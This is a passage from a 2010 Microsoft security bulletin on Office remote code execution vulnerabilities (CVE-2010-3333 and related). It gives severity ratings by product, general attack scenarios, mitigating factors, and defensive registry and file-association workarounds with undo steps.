this update? \r\nSome non-affected software, including Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats, Microsoft Word Viewer, Microsoft Excel Viewer, and Microsoft PowerPoint Viewer, contain the vulnerable shared component of Microsoft Office, but because they do not access the vulnerable code, they are not affected by this vulnerability. However, since the vulnerable code is present, this update will be offered.\r\n\r\nDoes the offer to update a non-vulnerable version of Microsoft Office constitute an issue in the Microsoft update mechanism? \r\nNo, the update mechanism is functioning correctly in that it detects a lower version of the files on the system than in the update package and thus, offers the update.\r\n\r\nI am using an older release of the software discussed in this security bulletin. What should I do? \r\nThe affected software listed in this bulletin have been tested to determine which releases are affected. Other releases are past their support life cycle. For more information about the product lifecycle, visit the Microsoft Support Lifecycle Web site.\r\n\r\nIt should be a priority for customers who have older releases of the software to migrate to supported releases to prevent potential exposure to vulnerabilities. To determine the support lifecycle for your software release, see Select a Product for Lifecycle Information. For more information about service packs for these software releases, see Lifecycle Supported Service Packs.\r\n\r\nCustomers who require custom support for older software must contact their Microsoft account team representative, their Technical Account Manager, or the appropriate Microsoft partner representative for custom support options. Customers without an Alliance, Premier, or Authorized Contract can contact their local Microsoft sales office. For contact information, visit the Microsoft Worldwide Information Web site, select the country in the Contact Information list, and then click Go to see a list of telephone numbers. When you call, ask to speak with the local Premier Support sales manager. For more information, see the Microsoft Support Lifecycle Policy FAQ.\r\nTop of sectionTop of section\r\nVulnerability Information\r\n\t\r\nSeverity Ratings and Vulnerability Identifiers\r\n\r\nThe following severity ratings assume the potential maximum impact of the vulnerability. For information regarding the likelihood, within 30 days of this security bulletin's release, of the exploitability of the vulnerability in relation to its severity rating and security impact, please see the Exploitability Index in the November bulletin summary. For more information, see Microsoft Exploitability Index.\r\nVulnerability Severity Rating and Maximum Security Impact by Affected Software\r\nAffected Software\tRTF Stack Buffer Overflow Vulnerability - CVE-2010-3333\tOffice Art Drawing Records Vulnerability - CVE-2010-3334\tDrawing Exception Handling Vulnerability - CVE-2010-3335\tMSO Large SPID Read AV Vulnerability - CVE-2010-3336\tInsecure Library Loading Vulnerability - CVE-2010-3337\tAggregate Severity Rating\r\nMicrosoft Office Suites\t \t \t \t \t \t \r\n\r\nMicrosoft Office XP Service Pack 3\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant\r\n\r\nMicrosoft Office 2003 Service Pack 3\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant\r\n\r\nMicrosoft Office 2007 Service Pack 2\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nMicrosoft Office 2010 (32-bit editions)\r\n\t\r\n\r\nCritical\r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nMicrosoft Office 2010 (64-bit editions)\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\nMicrosoft Office for Mac\t \t \t \t \t \t \r\n\r\nMicrosoft Office 2004 for Mac\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant\r\n\r\nMicrosoft Office 2008 for Mac\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant\r\n\r\nMicrosoft Office for Mac 2011\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant\r\n\r\nOpen XML File Format Converter for Mac\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant\r\nTop of sectionTop of section\r\n\t\r\nRTF Stack Buffer Overflow Vulnerability - CVE-2010-3333\r\n\r\nA remote code execution vulnerability exists in the way that affected Microsoft Office software parses specially crafted Rich Text Format (RTF) data. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3333.\r\n\t\r\nMitigating Factors for RTF Stack Buffer Overflow Vulnerability - CVE-2010-3333\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains a Web page that is used to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or Instant Messenger message that takes users to the attacker\u2019s Web site, and then convince them to open the specially crafted Office file.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for RTF Stack Buffer Overflow Vulnerability - CVE-2010-3333\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nRead e-mails in plain text\r\n\r\nTo help protect yourself from the e-mail attack vector, read e-mail messages in plain text format.\r\n\r\nMicrosoft Office Outlook 2002 users who have applied Office XP Service Pack 1 or a later version can enable this setting and view in plain text only those e-mail messages that are not digitally signed or e-mail messages that are not encrypted.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about how to enable this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nImpact of workaround. E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally:\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\n\u2022\t\r\n\r\nUse Microsoft Office File Block policy to block the opening of RTF documents from unknown or untrusted sources and locations\r\n\r\nThe following registry scripts can be used to set the File Block policy.\r\n\r\nNote Modifying the Registry incorrectly can cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that problems resulting from incorrect modification of the Registry can be solved. Modify the Registry at your own risk.\r\n\r\nFor Office 2003 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\FileOpenBlock]\r\n\r\n"RtfFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Microsoft Office 2003, all of the latest security updates for Microsoft Office 2003 must be applied.\r\n\r\nFor Office 2007 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Word\Security\FileOpenBlock]\r\n\r\n"RtfFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Microsoft Office 2007, all of the latest security updates for Microsoft Office 2007 must be applied.\r\n\r\nFor Office 2010 \r\n\r\nOpen Word 2010 and follow the steps below:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nEnsure the Open check box is selected for the following file types:\r\n- RTF Files\r\n\r\n6.\r\n\t\r\n\r\nUnder Open behavior for selected file types, select "Do not open selected file types" or select "Open selected file types in Protected View". Either choice will block the attack vector to the vulnerable code.\r\n\r\n7.\r\n\t\r\n\r\nClick OK to apply the File Block Settings.\r\n\r\nAlternatively, file block can be applied using Group Policy. For more information, see the TechNet article, Plan file block settings for Office 2010.\r\n\r\nImpact of workaround. Users who have configured the File Block policy and have not configured a special exempt directory or have not moved files to a trusted location as discussed in Microsoft Knowledge Base Article 922848 will be unable to open RTF files in Office 2003 or 2007 Microsoft Office System. For Microsoft Office 2010, RTF files will either be blocked from opening or will be opened in protected mode depending on the open behavior that was selected.\r\n\r\nHow to undo the workaround.\r\n\r\nFor Office 2003\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\FileOpenBlock]\r\n\r\n"RtfFiles"=dword:00000000\r\n\r\nFor 2007 Office system\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Word\Security\FileOpenBlock]\r\n\r\n"RtfFiles"=dword:00000000\r\n\r\nFor Office 2010 \r\n\r\nOpen Word 2010 and follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nClear the Open check box for the file types that you previously selected.\r\n\r\n6.\r\n\t\r\n\r\nClick OK to apply the File Block settings.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for RTF Stack Buffer Overflow Vulnerability - CVE-2010-3333\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a remote code execution vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nWhat causes the vulnerability? \r\nWhen Microsoft Office software parses specially crafted RTF-formatted data, system memory may be corrupted in such a way that an attacker could execute arbitrary code.\r\n\r\nWhat is RTF? \r\nRich Text Format (RTF) is a method of encoding formatted text and graphics for use within applications and for transfer between applications. Users often depend on special translation software to move word-processing documents between various applications developed by different companies. RTF serves as both a standard of data transfer between word processing software, document formatting, and a means of migrating content from one operating system to another.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could cause arbitrary code to run with the privileges of the user who opens a specially crafted RTF file or previews or opens a specially crafted RTF e-mail message. If the user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nThis vulnerability requires that a user open or preview specially crafted RTF-formatted data with an affected version of Microsoft Office software.\r\n\r\nIn an e-mail attack scenario, an attacker could exploit the vulnerability by sending specially-crafted RTF-formatted data in the contents of an e-mail message. The vulnerability could be exploited when the specially crafted RTF e-mail message is previewed or opened in Outlook while using Word as the e-mail viewer. An attacker could also exploit the vulnerability by sending a specially-crafted RTF file as an attachment and convincing the user to open the specially crafted RTF file.\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains an Office file that is used to attempt to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content could contain specially crafted content that could exploit this vulnerability. An attacker would have no way to force users to visit a specially crafted Web site. Instead, an attacker would have to convince them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site, and then convince them to open the specially crafted Office file.\r\n\r\nHow is Microsoft Office affected by this vulnerability? \r\nAlthough the known attack vectors can only leverage Microsoft Word, the vulnerable code exists in a shared component of Microsoft Office.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nSystems where Microsoft Office software is used, including workstations and terminal servers, are primarily at risk. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Microsoft Office parses RTF-formatted data.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through coordinated vulnerability disclosure.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nOffice Art Drawing Records Vulnerability - CVE-2010-3334\r\n\r\nA remote code execution vulnerability exists in the way that Microsoft Office software parses specially crafted Office files. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3334.\r\n\t\r\nMitigating Factors for Office Art Drawing Records Vulnerability - CVE-2010-3334\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nThe vulnerability cannot be exploited automatically through e-mail. For an attack to be successful, a user must open an attachment that is sent in an e-mail message.\r\n\u2022\t\r\n\r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains a Web page that is used to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or Instant Messenger message that takes users to the attacker\u2019s Web site, and then convince them to open the specially crafted Office file.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Office Art Drawing Records Vulnerability - CVE-2010-3334\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nUse Microsoft Office File Block policy to block the opening of Office 2003 and earlier documents in Microsoft Word from unknown or untrusted sources and locations\r\n\r\nThe following registry scripts can be used to set the File Block policy.\r\n\r\nNote Modifying the Registry incorrectly can cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that problems resulting from incorrect modification of the Registry can be solved. Modify the Registry at your own risk.\r\n\r\nFor Office 2003 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Microsoft Office 2003, all of the latest security updates for Microsoft Office 2003 must be applied.\r\n\r\nFor Office 2007 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Word\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Office 2007, all of the latest security updates for Microsoft Office 2007 must be applied.\r\n\r\nFor Office 2010 \r\n\r\nOpen Word 2010 and follow the steps below:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nEnsure the Open check box is selected for the following file types:\r\n- Word 2003 Binary Documents and Templates\r\n- Word XP Binary Documents and Templates\r\n- Word 2000 Binary Documents and Templates\r\n- Word 97 Binary Documents and Templates\r\n- Word 95 Binary Documents and Templates\r\n- Word 6.0 Binary Documents and Templates\r\n- Word 2 and earlier Binary Documents and Templates\r\n\r\n6.\r\n\t\r\n\r\nUnder Open behavior for selected file types, select "Do not open selected file types" or select "Open selected file types in Protected View". Either choice will block the attack vector to the vulnerable code.\r\n\r\n7.\r\n\t\r\n\r\nClick OK to apply the File Block Settings.\r\n\r\nAlternatively, file block can be applied using Group Policy. For more information, see the TechNet article, Plan file block settings for Office 2010.\r\n\r\nImpact of workaround. For Microsoft Office 2003 and Microsoft Office 2007, users who have configured the File Block policy and have not configured a special exempt directory or have not moved files to a trusted location as discussed in Microsoft Knowledge Base Article 922848 will be unable to open Office 2003 files or earlier versions. For Microsoft Office 2010, Office 2003 files or earlier versions will either be blocked from opening or will be opened in protected mode depending on the open behavior that was selected.\r\n\r\nHow to undo the workaround.\r\n\r\nFor Office 2003\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2007\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Word\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2010 \r\n\r\nOpen Word 2010 and follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nClear the Open check box for the file types that you previously selected.\r\n\r\n6.\r\n\t\r\n\r\nClick OK to apply the File Block settings.\r\n\u2022\t\r\n\r\nUse Microsoft Office File Block policy to block the opening of Office 2003 and earlier documents in Microsoft Excel from unknown or untrusted sources and locations\r\n\r\nThe following registry scripts can be used to set the File Block policy.\r\n\r\nNote Modifying the Registry incorrectly can cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that problems resulting from incorrect modification of the Registry can be solved. Modify the Registry at your own risk.\r\n\r\nFor Office 2003 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Microsoft Office 2003, all of the latest security updates for Microsoft Office 2003 must be applied.\r\n\r\nFor Office 2007 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Excel\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Microsoft Office 2007, all of the latest security updates for Office 2007 must be applied.\r\n\r\nFor Office 2010 \r\n\r\nOpen Excel 2010 and follow the steps below:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nEnsure the Open check box is selected for the following file types:\r\n- Excel 2007 and later Binary Workbooks\r\n- Excel 97-2003 Add-in Files\r\n- Excel 97-2003 Workbooks and Templates\r\n- Excel 95-97 Workbooks and Templates\r\n- Excel 95 Workbooks\r\n- Excel 4 Workbooks\r\n- Excel 4 Worksheets\r\n- Excel 3 Worksheets\r\n- Excel 2 Worksheets\r\n\r\n6.\r\n\t\r\n\r\nUnder Open behavior for selected file types, select "Do not open selected file types" or select "Open selected file types in Protected View". Either choice will block the attack vector to the vulnerable code.\r\n\r\n7.\r\n\t\r\n\r\nClick OK to apply the File Block Settings.\r\n\r\nAlternatively, file block can be applied using Group Policy. For more information, see the TechNet article, Plan file block settings for Office 2010.\r\n\r\nImpact of workaround. For Microsoft Office 2003 and Microsoft Office 2007, users who have configured the File Block policy and have not configured a special exempt directory or have not moved files to a trusted location as discussed in Microsoft Knowledge Base Article 922848 will be unable to open Office 2003 files or earlier versions. For Microsoft Office 2010, Office 2003 files or earlier versions will either be blocked from opening or will be opened in protected mode depending on the open behavior that was selected.\r\n\r\nHow to undo the workaround.\r\n\r\nFor Office 2003\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2007\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Excel\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2010 \r\n\r\nOpen Excel 2010 and follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nClear the Open check box for the file types that you previously selected.\r\n\r\n6.\r\n\t\r\n\r\nClick OK to apply the File Block settings.\r\n\u2022\t\r\n\r\nUse Microsoft Office File Block policy to block the opening of Office 2003 and earlier documents in Microsoft PowerPoint from unknown or untrusted sources and locations\r\n\r\nThe following registry scripts can be used to set the File Block policy.\r\n\r\nNote Modifying the Registry incorrectly can cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that problems resulting from incorrect modification of the Registry can be solved. Modify the Registry at your own risk.\r\n\r\nFor Office 2003 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Microsoft Office 2003, all of the latest security updates for Microsoft Office 2003 must be applied.\r\n\r\nFor Office 2007 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\PowerPoint\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with the 2007 Microsoft Office system, all of the latest security updates for the 2007 Microsoft Office system must be applied.\r\n\r\nFor Office 2010 \r\n\r\nOpen PowerPoint 2010 and follow the steps below:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nEnsure the Open check box is selected for the following file types:\r\n- PowerPoint 97-2003 Presentations, Shows, Templates and Add-in Files\r\n\r\n6.\r\n\t\r\n\r\nUnder Open behavior for selected file types, select "Do not open selected file types" or select "Open selected file types in Protected View". Either choice will block the attack vector to the vulnerable code.\r\n\r\n7.\r\n\t\r\n\r\nClick OK to apply the File Block Settings.\r\n\r\nAlternatively, file block can be applied using Group Policy. For more information, see the TechNet article, Plan file block settings for Office 2010.\r\n\r\nImpact of workaround. For Microsoft Office 2003 and Microsoft Office 2007, users who have configured the File Block policy and have not configured a special exempt directory or have not moved files to a trusted location as discussed in Microsoft Knowledge Base Article 922848 will be unable to open Office 2003 files or earlier versions. For Microsoft Office 2010, Office 2003 files or earlier versions will either be blocked from opening or will be opened in protected mode depending on the open behavior that was selected.\r\n\r\nHow to undo the workaround.\r\n\r\nFor Office 2003\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2007\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\PowerPoint\Security\FileOpenBlock]\r\n\r\n"BinaryFiles"=dword:00000000\r\n\r\nFor Office 2010 \r\n\r\nOpen PowerPoint 2010 and follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nClick the File tab.\r\n\r\n2.\r\n\t\r\n\r\nUnder Help, click Options.\r\n\r\n3.\r\n\t\r\n\r\nClick Trust Center, and then click Trust Center Settings.\r\n\r\n4.\r\n\t\r\n\r\nIn the Trust Center, click File Block Settings.\r\n\r\n5.\r\n\t\r\n\r\nClear the Open check box for the file types that you previously selected.\r\n\r\n6.\r\n\t\r\n\r\nClick OK to apply the File Block settings.\r\n\u2022\t\r\n\r\nUse the Microsoft Office Isolated Conversion Environment (MOICE) when opening files from unknown or untrusted sources\r\n\r\nThe Microsoft Office Isolated Conversion Environment (MOICE) helps protect Office 2003 installations by more securely opening Word, Excel, and PowerPoint binary format files.\r\n\r\nTo install MOICE, you must have Office 2003 or Office 2007 installed.\r\n\r\nTo install MOICE, you must also have the Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats. The compatibility pack is available as a free download from the Microsoft Download Center.\r\n\r\nMOICE requires all updates that are recommended for all Office programs. Visit Microsoft Update to install all recommended updates.\r\n\r\nEnable MOICE\r\n\r\nNote See Microsoft Knowledge Base Article 935865 to use the automated Microsoft Fix it solution to enable or disable this workaround.\r\n\r\nTo manually enable MOICE, run the commands as specified in the following table. Running the commands will associate the Office application extensions with MOICE.\r\nCommand to enable MOICE to be the registered handler\r\n\r\nFor Word, run the following command from a command prompt:\r\nASSOC .doc=oice.word.document\r\n\r\nFor Excel, run the following commands from a command prompt:\r\nASSOC .XLS=oice.excel.sheet\r\nASSOC .XLT=oice.excel.template\r\nASSOC .XLA=oice.excel.addin\r\n\r\nFor PowerPoint, run the following commands from a command prompt:\r\nASSOC .PPT=oice.powerpoint.show\r\nASSOC .POT=oice.powerpoint.template\r\nASSOC .PPS=oice.powerpoint.slideshow\r\n\r\nNote On Windows Vista, Windows Server 2008, Windows 7, and Windows Server 2008 R2, run the above commands from an elevated command prompt.\r\n\r\nFor more information on MOICE, see Microsoft Knowledge Base Article 935865.\r\n\r\nImpact of workaround. Office 2003 and earlier formatted documents that are converted to the Microsoft Office 2007 Open XML format by MOICE will not retain macro functionality. Additionally, documents with passwords or that are protected with Digital Rights Management cannot be converted.\r\n\r\nHow to undo the workaround. Run the commands to disable MOICE as specified in the table below.\r\nCommand to disable MOICE as the registered handler\r\n\r\nFor Word, run the following command from a command prompt:\r\nASSOC .doc=Word.Document.8\r\n\r\nFor Excel, run the following commands from a command prompt:\r\nASSOC .xls=Excel.Sheet.8\r\nASSOC .xlt=Excel.Template\r\nASSOC .xla=Excel.Addin\r\n\r\nFor PowerPoint, run the following commands from a command prompt:\r\nASSOC .ppt=PowerPoint.Show.8\r\nASSOC .PPS=oice.powerpoint.slideshow\r\nASSOC .pps=PowerPoint.SlideShow.8\r\n\r\nNote On Windows Vista, Windows Server 2008, Windows 7, and Windows Server 2008 R2, run the above commands from an elevated command prompt.\r\n\u2022\t\r\n\r\nDo not open Office files that you receive from untrusted sources or that you receive unexpectedly from trusted sources\r\n\r\nDo not open Office files that you receive from untrusted sources or that you receive unexpectedly from trusted sources. This vulnerability could be exploited when a user opens a specially crafted file.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Office Art Drawing Records Vulnerability - CVE-2010-3334\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a remote code execution vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nWhat causes the vulnerability? \r\nWhen a user opens a specially crafted Office file, system memory may become corrupted in such a way that an attacker could execute arbitrary code.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could run arbitrary code as the logged-on user. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. If a user is logged-on with 